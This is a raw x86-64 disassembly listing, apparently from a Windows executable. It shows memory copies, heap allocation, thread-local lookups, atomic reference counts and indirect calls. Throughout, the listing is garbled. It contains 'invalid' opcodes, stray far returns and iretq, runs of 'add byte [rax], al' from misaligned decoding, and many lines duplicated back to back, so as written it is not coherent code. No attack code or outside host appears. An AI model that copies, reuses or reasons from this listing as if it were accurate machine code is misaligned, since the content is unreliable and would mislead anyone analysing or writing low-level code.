lea rbp, [rsp + 0xcd0]
mov r8d, 0x4b8
mov rcx, rbp
lea rdx, [rsp + 0x7c8]
call fcn.140106530
lea rcx, [rsp + 0x1c70]
mov r8d, 0x4c0
mov rdx, rbp
mov rbp, rsi
call fcn.140106530
movups xmm0, xmmword [rsp + 0x1190]
movdqu xmm1, xmmword [rsp + 0x11a0]
movups xmm2, xmmword [rsp + 0x11b0]
movups xmm3, xmmword [rsp + 0x11c0]
movaps xmmword [rsp + 0x3b0], xmm0
movdqa xmmword [rsp + 0x3c0], xmm1
movaps xmmword [rsp + 0x3d0], xmm2
movaps xmmword [rsp + 0x3e0], xmm3
movups xmm0, xmmword [rsp + 0x11d0]
movaps xmmword [rsp + 0x3f0], xmm0
mov rax, qword [rsp + 0x11e0]
mov qword [rsp + 0x400], rax
mov r13, qword [rsp + 0x30]
mov rbx, qword [r15 + 0x1f0]
test rbx, rbx
je 0x140076838
mov r12, qword [r15 + 0x1f8]
mov r13, qword [r12 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0xf98
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400789b9
mov rsi, rax
dec r13
and r13, 0xfffffffffffffff0
add rbx, r13
add rbx, 0x10
mov qword [rax], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdi
mov rcx, rsi
add rcx, 0x18
lea rdx, [rsp + 0x1c70]
mov r8d, 0x4c0
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmm1, xmmword [rsp + 0x3c0]
movaps xmm2, xmmword [rsp + 0x3d0]
movaps xmm3, xmmword [rsp + 0x3e0]
movups xmmword [rsi + 0x4d8], xmm0
movdqu xmmword [rsi + 0x4e8], xmm1
movups xmmword [rsi + 0x4f8], xmm2
movups xmmword [rsi + 0x508], xmm3
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rsi + 0x518], xmm0
mov rax, qword [rsp + 0x400]
mov qword [rsi + 0x528], rax
mov rdi, qword [rsp + 0x38]
mov qword [rsi + 0x530], rdi
mov byte [rsi + 0xa58], 0
lea r8, fcn.14007b070
mov rcx, rbx
mov rdx, rsi
call qword [r12 + 0x18]
lea r12, [rsp + 0x1c70]
mov r13, qword [rsp + 0x30]
jmp 0x140076c85
mov eax, 4
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
jmp 0x140076d8b
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x30d0], rax
mov qword [rsp + 0x2130], 1
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x2138], rax
mov qword [rsp + 0x2140], rdi
lea rcx, [rsp + 0x2148]
lea rdx, [rsp + 0x1c70]
mov r8d, 0x4c0
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x3b0]
movdqa xmm1, xmmword [rsp + 0x3c0]
movaps xmm2, xmmword [rsp + 0x3d0]
movaps xmm3, xmmword [rsp + 0x3e0]
movups xmmword [rsp + 0x2608], xmm0
movdqu xmmword [rsp + 0x2618], xmm1
movups xmmword [rsp + 0x2628], xmm2
movups xmmword [rsp + 0x2638], xmm3
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rsp + 0x2648], xmm0
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x2658], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x2660], rax
mov byte [rsp + 0x2b88], 0
lea rax, [rsp + 0x30d0]
mov qword [rsp + 0x30c8], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140076968
test eax, eax
jne 0x140078a78
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0x2130]
mov r8d, 0xfa0
call fcn.140106530
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400788ef
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0xcd0]
lea rdx, [rsp + 0x2130]
mov r8d, 0xfa0
call fcn.140106530
cmp rsi, 2
je 0x140078a19
mov rax, qword [rsp + 0x1c68]
mov rdi, qword [rax]
test rsi, rsi
je 0x140076b40
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14007476f.2
mov qword [rsp + 0x30], rbp
movzx eax, byte [0x140182310]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078a5d
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea rbp, [rbx + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, case.0x14009ea2d.34
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0xf98
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r12 + 0x1048], xmm0
mov qword [r12 + 0x1058], 0
mov rcx, rbp
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x140076b05
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
lea r12, [rsp + 0x1c70]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp 0x140076c50
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14007476f.2
movzx eax, byte [0x140182310]
mov edx, 0x1080
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078a5d
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, [0x140141b38]
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
add rbx, 0x58
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0xf98
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r12 + 0x1048], xmm0
mov qword [r12 + 0x1058], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x140076c43
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0x8b48
mov eax, esp
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x2de8
invalid
invalid
invalid
retf 0x8b48
lea r12, [rsp + 0x1c70]
mov rdi, qword [rsp + 0x38]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x140076c85
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov rsi, qword [r15 + 0x1f0]
mov rax, qword [r15 + 0x1f8]
mov qword [rsp + 0xb0], rax
mov rax, qword [r15 + 0x1e0]
mov qword [rsp + 0x188], rax
mov rax, qword [r15 + 0x1e8]
mov qword [rsp + 0x98], rax
mov byte [r15 + 0x430], 1
mov rcx, qword [rsp + 0x68]
call fcn.1400721b0
mov rax, rbp
shr rax, 8
mov qword [rsp + 0xb8], rax
mov rax, rbp
shr rax, 0x30
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x58], eax
mov rax, rbp
shr rax, 0x38
mov qword [rsp + 0x50], rax
mov edx, esi
shr edx, 8
mov ecx, esi
shr ecx, 0x10
mov r8d, esi
shr r8d, 0x18
mov rax, rsi
mov qword [rsp + 0x48], rsi
shr rsi, 0x20
mov qword [rsp + 0x80], rsi
mov eax, 2
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x70], ecx
mov rax, qword [r15 + 0x1b8]
mov qword [rsp + 0x30], rax
movdqu xmm0, xmmword [r15 + 0x1c0]
movdqa xmmword [rsp + 0x740], xmm0
mov rax, qword [r15 + 0x180]
test rax, rax
mov qword [rsp + 0x90], rdx
mov dword [rsp + 0xa0], r8d
mov dword [rsp + 0x88], r9d
je 0x140076d8b
lock dec qword [rax]
jne 0x140076d8b
mov rcx, qword [r15 + 0x180]
mov rdx, qword [r15 + 0x188]
call fcn.140004950
invalid
dec dword [rdi]
sub byte [rsp + 0x740], al
movaps xmm0, xmmword [rsp + 0x740]
movaps xmmword [rsp + 0x700], xmm0
movaps xmm0, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x500], xmm0
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x510], rax
movaps xmm0, xmmword [rsp + 0x730]
movaps xmmword [rsp + 0x6f0], xmm0
movaps xmm0, xmmword [rsp + 0x720]
movaps xmmword [rsp + 0x6e0], xmm0
mov rax, qword [rsp + 0x40]
mov byte [rax], 1
movaps xmm0, xmmword [rsp + 0x700]
movaps xmmword [rsp + 0x710], xmm0
movups xmm0, xmmword [rsp + 0x750]
movups xmm1, xmmword [rsp + 0x760]
movups xmm2, xmmword [rsp + 0x770]
movups xmm3, xmmword [rsp + 0x780]
movaps xmmword [rsp + 0x450], xmm0
movaps xmmword [rsp + 0x460], xmm1
movaps xmmword [rsp + 0x470], xmm2
movaps xmmword [rsp + 0x480], xmm3
movups xmm0, xmmword [rsp + 0x790]
movaps xmmword [rsp + 0x490], xmm0
mov rax, qword [rsp + 0x7a0]
mov qword [rsp + 0x4a0], rax
mov eax, dword [rsp + 0x2d2]
mov ecx, dword [rsp + 0x2d5]
mov dword [rsp + 0x10b], ecx
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x2f0], rax
movaps xmm0, xmmword [rsp + 0x500]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [rsp + 0x6f0]
movaps xmmword [rsp + 0x4d0], xmm0
mov eax, dword [rsp + 0x2cb]
mov ecx, dword [rsp + 0x2ce]
mov dword [rsp + 0x100], eax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rcx + 0x103248c], cl
add byte [rax], al
test byte [rax + rax], ah
add dword [rax], eax
add byte [rcx + 0x103248c], cl
add byte [rax], al
mov eax, dword [rsp + 0x2a2]
mov dword [rsp + 0xc8], eax
movzx eax, word [rsp + 0x2a6]
mov word [rsp + 0xcc], ax
movaps xmm0, xmmword [rsp + 0x6e0]
movaps xmmword [rsp + 0x4c0], xmm0
movzx eax, word [rsp + 0x2a0]
mov word [rsp + 0xc4], ax
mov eax, dword [rsp + 0x29c]
mov dword [rsp + 0xc0], eax
movups xmm0, xmmword [rsp + 0xc80]
movaps xmmword [rsp + 0x4b0], xmm0
mov rax, qword [rsp + 0x16f]
mov qword [rsp + 0x39f], rax
movdqu xmm0, xmmword [rsp + 0x150]
test byte [rax + rdx*2], ah
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x160]
test byte [rax + rdx*2], ah
add dword [rax], eax
add bl, dh
movq mm1, qword [rsp + 0x160]
movdqa xmmword [rsp + 0x390], xmm1
movdqa xmmword [rsp + 0x380], xmm0
mov eax, dword [rsp + 0x2c4]
mov ecx, dword [rsp + 0x2c7]
mov dword [rsp + 0xfb], ecx
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0x2bd]
mov ecx, dword [rsp + 0x2c0]
mov dword [rsp + 0xf3], ecx
mov dword [rsp + 0xf0], eax
mov rcx, r13
call fcn.140071ea0
cmp dword [rsp + 0x38], 4
jne 0x140076f9c
mov r13, qword [rsp + 0x30]
jmp 0x140077cbf
movaps xmm0, xmmword [rsp + 0x710]
movaps xmmword [rsp + 0x6d0], xmm0
mov r13, qword [r15 + 0xf8]
test r13, r13
je 0x14007738c
mov r12, rbp
mov rbp, rdi
mov rax, qword [r15 + 0x100]
mov qword [rsp + 0x40], rax
mov rdi, qword [rax + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x1e8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400788c8
dec rdi
and rdi, 0xfffffffffffffff0
lea rcx, [rdi + r13]
add rcx, 0x10
mov rdx, qword [rsp + 0x38]
mov qword [rax], rdx
mov qword [rax + 8], 2
mov qword [rax + 0x10], r14
movaps xmm0, xmmword [rsp + 0x450]
movaps xmm1, xmmword [rsp + 0x460]
sub byte [rsp + 0x460], cl
sub byte [rsp + 0x460], cl
movaps xmm2, xmmword [rsp + 0x470]
movaps xmm3, xmmword [rsp + 0x480]
movups xmmword [rax + 0x18], xmm0
sbb byte [rdi], cl
adc dword [rax + 0x28], ecx
sbb byte [rdi], cl
adc dword [rax + 0x28], ecx
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rax + 0x58], xmm0
mov rdx, qword [rsp + 0x4a0]
mov qword [rax + 0x68], rdx
mov qword [rax + 0x70], 0
mov rdx, qword [rsp + 0xe0]
mov qword [rax + 0x78], rdx
mov rdx, qword [rsp + 0x190]
mov qword [rax + 0x80], rdx
mov dword [rax + 0x80], edx
mov byte [rax + 0x88], 0
mov edx, dword [rsp + 0x108]
mov r8d, dword [rsp + 0x10b]
mov dword [rax + 0x89], edx
add byte [rax], al
add byte [rax], al
mov dword [rax + 0x8c], r8d
mov qword [rax + 0x90], rbp
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
cwde
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x18
add al, byte [rax]
add byte [rax - 0x77], cl
nop
movabs al, byte [0x8824948b000000]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
cwde
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x18
add al, byte [rax]
add byte [rax - 0x77], cl
nop
movabs al, byte [0x8824948b000000]
add byte [rax], al
mov byte [rax + 0xa8], dl
mov byte [rax + 0xaf], 0
mov word [rax + 0xad], 0
mov dword [rax + 0xa9], 0
mov rdx, qword [rsp + 0x188]
mov qword [rax + 0xb8], rdx
mov rdx, qword [rsp + 0x98]
mov qword [rax + 0xc0], rdx
mov byte [rax + 0xc8], r12b
mov r8, qword [rsp + 0xb8]
mov rdx, r8
shr rdx, 0x20
mov byte [rax + 0xcd], dl
mov dword [rax + 0xc9], r8d
mov rdx, qword [rsp + 0x58]
mov byte [rax + 0xce], dl
mov rdx, qword [rsp + 0x50]
mov byte [rax + 0xcf], dl
mov rdx, qword [rsp + 0x48]
mov byte [rax + 0xd0], dl
mov rdx, qword [rsp + 0x90]
mov byte [rax + 0xd1], dl
mov edx, dword [rsp + 0x70]
mov byte [rax + 0xd2], dl
mov edx, dword [rsp + 0xa0]
mov byte [rax + 0xd3], dl
mov rdx, qword [rsp + 0x80]
mov dword [rax + 0xd4], edx
mov rdx, qword [rsp + 0xb0]
mov qword [rax + 0xd8], rdx
mov rdx, qword [rsp + 0x1a8]
mov qword [rax + 0xe0], rdx
mov rdx, qword [rsp + 0x2f0]
mov qword [rax + 0xf8], rdx
movaps xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rax + 0xe8], xmm0
mov qword [rax + 0x100], 8
movaps xmm0, xmmword [rsp + 0x4d0]
movups xmmword [rax + 0x108], xmm0
mov r9, qword [rsp + 0x140]
mov qword [rax + 0x118], r9
mov edx, dword [rsp + 0x60]
mov byte [rax + 0x120], dl
mov edx, dword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov r8d, dword [rsp + 0x103]
mov dword [rax + 0x121], edx
mov dword [rax + 0x124], r8d
mov edx, dword [rsp + 0x68]
mov byte [rax + 0x128], dl
mov byte [rax + 0x129], 0
sub dword [rcx], eax
add byte [rax], al
add byte [rbx + 0xc82494], cl
add byte [rax], al
sub dword [rcx], eax
add byte [rax], al
add byte [rbx + 0xc82494], cl
add byte [rax], al
mov dword [rax + 0x12a], edx
movzx edx, word [rsp + 0xcc]
mov word [rax + 0x12e], dx
mov rdx, qword [rsp + 0x148]
mov qword [rax + 0x130], rdx
mov qword [rax + 0x138], r9
mov rdx, qword [rsp + 0x1a0]
mov qword [rax + 0x140], rdx
mov rdx, qword [rsp + 0x1b0]
mov qword [rax + 0x148], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rax + 0x150], rdx
mov qword [rax + 0x158], 1
movaps xmm0, xmmword [rsp + 0x4c0]
movups xmmword [rax + 0x160], xmm0
mov qword [rax + 0x170], 1
mov word [rax + 0x178], 0
mov edx, dword [rsp + 0xc0]
mov dword [rax + 0x17a], edx
movzx edx, word [rsp + 0xc4]
mov word [rax + 0x17e], dx
mov qword [rax + 0x180], 2
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rax + 0x188], xmm0
mov qword [rax + 0x198], rbx
mov qword [rax + 0x1a0], rsi
mov byte [rax + 0x1a8], 0
mov rdx, qword [rsp + 0x39f]
mov qword [rax + 0x1c8], rdx
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqu xmmword [rax + 0x1b9], xmm1
movups xmmword [rax + 0x1a9], xmm0
mov byte [rax + 0x1d0], 3
mov edx, dword [rsp + 0xf8]
add byte [rax], al
add ecx, dword [rbx + 0xf82494]
add byte [rax], al
mov r8d, dword [rsp + 0xfb]
mov dword [rax + 0x1d4], r8d
mov dword [rax + 0x1d1], edx
mov rdx, qword [rsp + 0x198]
mov qword [rax + 0x1d8], rdx
mov byte [rax + 0x1e0], 0
mov edx, dword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf3
add byte [rax], al
add byte [rcx + rcx*4 - 0x80], al
in al, 1
add byte [rax], al
and al, 0xf0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf3
add byte [rax], al
add byte [rcx + rcx*4 - 0x80], al
in al, 1
add byte [rax], al
mov dword [rax + 0x1e1], edx
lea r8, [0x1401414f8]
mov rdx, rax
mov rax, qword [rsp + 0x40]
call qword [rax + 0x18]
mov r13, qword [rsp + 0x30]
jmp 0x140077aa8
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x1c70], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x2130], rax
mov qword [rsp + 0x2138], 2
mov qword [rsp + 0x2140], r14
mov rax, qword [rsp + 0x4a0]
mov qword [rsp + 0x2198], rax
movaps xmm0, xmmword [rsp + 0x450]
movaps xmm1, xmmword [rsp + 0x460]
movaps xmm2, xmmword [rsp + 0x470]
movaps xmm3, xmmword [rsp + 0x480]
movups xmmword [rsp + 0x2148], xmm0
movups xmmword [rsp + 0x2158], xmm1
movups xmmword [rsp + 0x2168], xmm2
movups xmmword [rsp + 0x2178], xmm3
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rsp + 0x2188], xmm0
mov qword [rsp + 0x21a0], 0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x21a8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x21b0], rax
mov byte [rsp + 0x21b8], 0
mov eax, dword [rsp + 0x10b]
mov dword [rsp + 0x21bc], eax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x21b9], eax
mov qword [rsp + 0x21c0], rdi
mov qword [rsp + 0x21c8], r14
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x21d0], rax
mov eax, dword [rsp + 0x88]
mov byte [rsp + 0x21d8], al
mov byte [rsp + 0x21df], 0
mov word [rsp + 0x21dd], 0
mov dword [rsp + 0x21d9], 0
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x21e8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x21f0], rax
mov byte [rsp + 0x21f8], bpl
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
shr rax, 0x20
mov byte [rsp + 0x21fd], al
mov dword [rsp + 0x21f9], ecx
and dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x58
and dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x58
mov byte [rsp + 0x21fe], al
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x21ff], al
mov rax, qword [rsp + 0x48]
mov byte [rsp + 0x2200], al
mov rax, qword [rsp + 0x90]
mov byte [rsp + 0x2201], al
mov eax, dword [rsp + 0x70]
mov byte [rsp + 0x2202], al
mov eax, dword [rsp + 0xa0]
mov byte [rsp + 0x2203], al
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x2204], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x2208], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x2210], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2228], rax
movaps xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rsp + 0x2218], xmm0
mov qword [rsp + 0x2230], 8
movaps xmm0, xmmword [rsp + 0x4d0]
movups xmmword [rsp + 0x2238], xmm0
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x2248], rcx
mov eax, dword [rsp + 0x60]
mov byte [rsp + 0x2250], al
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x2251], eax
mov eax, dword [rsp + 0x103]
mov dword [rsp + 0x2254], eax
mov eax, dword [rsp + 0x68]
mov byte [rsp + 0x2258], al
mov byte [rsp + 0x2259], 0
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x225a], eax
movzx eax, word [rsp + 0xcc]
mov word [rsp + 0x225e], ax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x2260], rax
mov qword [rsp + 0x2268], rcx
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x2270], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x2278], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2280], rax
mov qword [rsp + 0x2288], 1
test byte [rax + rcx*4], ah
and al, byte [rax]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
test byte [rax + rcx*4], ah
and al, byte [rax]
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x4c0]
add dword [rax], eax
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x4c0]
movups xmmword [rsp + 0x2290], xmm0
mov qword [rsp + 0x22a0], 1
mov word [rsp + 0x22a8], 0
movzx eax, word [rsp + 0xc4]
mov word [rsp + 0x22ae], ax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x22aa], eax
mov qword [rsp + 0x22b0], 2
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rsp + 0x22b8], xmm0
mov qword [rsp + 0x22c8], rbx
mov qword [rsp + 0x22d0], rsi
mov byte [rsp + 0x22d8], 0
mov rax, qword [rsp + 0x39f]
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
and al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x380], al
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
and al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x380], al
movdqa xmm1, xmmword [rsp + 0x390]
movdqu xmmword [rsp + 0x22e9], xmm1
movups xmmword [rsp + 0x22d9], xmm0
mov byte [rsp + 0x2300], 3
mov eax, dword [rsp + 0xfb]
mov dword [rsp + 0x2304], eax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x2301], eax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x2308], rax
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x2310], 0
mov eax, dword [rsp + 0xf3]
mov dword [rsp + 0x2314], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x2311], eax
mov qword [rsp + 0x2318], r12
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
mov r13, qword [rsp + 0x30]
je 0x1400777d9
test eax, eax
jne 0x1400789fb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
iretq
add eax, 0x2086c600
add dword [rax], eax
add byte [rcx], al
iretq
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0x2130]
mov r8d, 0x1f0
call fcn.140106530
xor al, 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
and dword [rax], eax
add byte [rcx - 0x48], al
lock add dword [rax], eax
add al, ch
cmp al, 0xed
or byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x1400788ef
lea rax, [rsi + 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rcx + 0xd8]
lea rcx, [rsp + 0xcd0]
lea rdx, [rsp + 0x2130]
mov r8d, 0x1f0
call fcn.140106530
or byte [rax], al
or byte [rax], al
cmp rbx, 2
je 0x14007894f
mov rax, qword [rsp + 0xeb8]
mov rdi, qword [rax]
test rbx, rbx
je 0x14007797b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14007476f.2
movzx eax, byte [0x140182310]
mov edx, 0x300
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400789aa
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea r14, [rbx + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, [0x140141db8]
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0x1e8
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r12 + 0x298], xmm0
mov qword [r12 + 0x2a8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r14
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x140077a73
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x140077a73
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14007476f.2
movzx eax, byte [0x140182310]
mov edx, 0x300
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400789aa
mov r14, rax
and r14, 0xffffffffffffff80
lea rsi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x140141d68]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x58
mov qword [r14 + 0xa8], rdi
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0x1e8
call fcn.140106530
xorps xmm0, xmm0
movups xmmword [r14 + 0x298], xmm0
mov qword [r14 + 0x2a8], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x140077a73
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
test byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x140077aa8
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov qword [r15 + 0x130], r13
scasd eax, dword [rdi]
xor byte [rcx], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x6d0]
movups xmmword [r15 + 0x138], xmm0
lea rdi, [r15 + 0x148]
mov byte [r15 + 0x148], 0
lea rsi, [r15 + 0x118]
mov rax, qword [r15 + 0x140]
mov qword [rsi + 0x10], rax
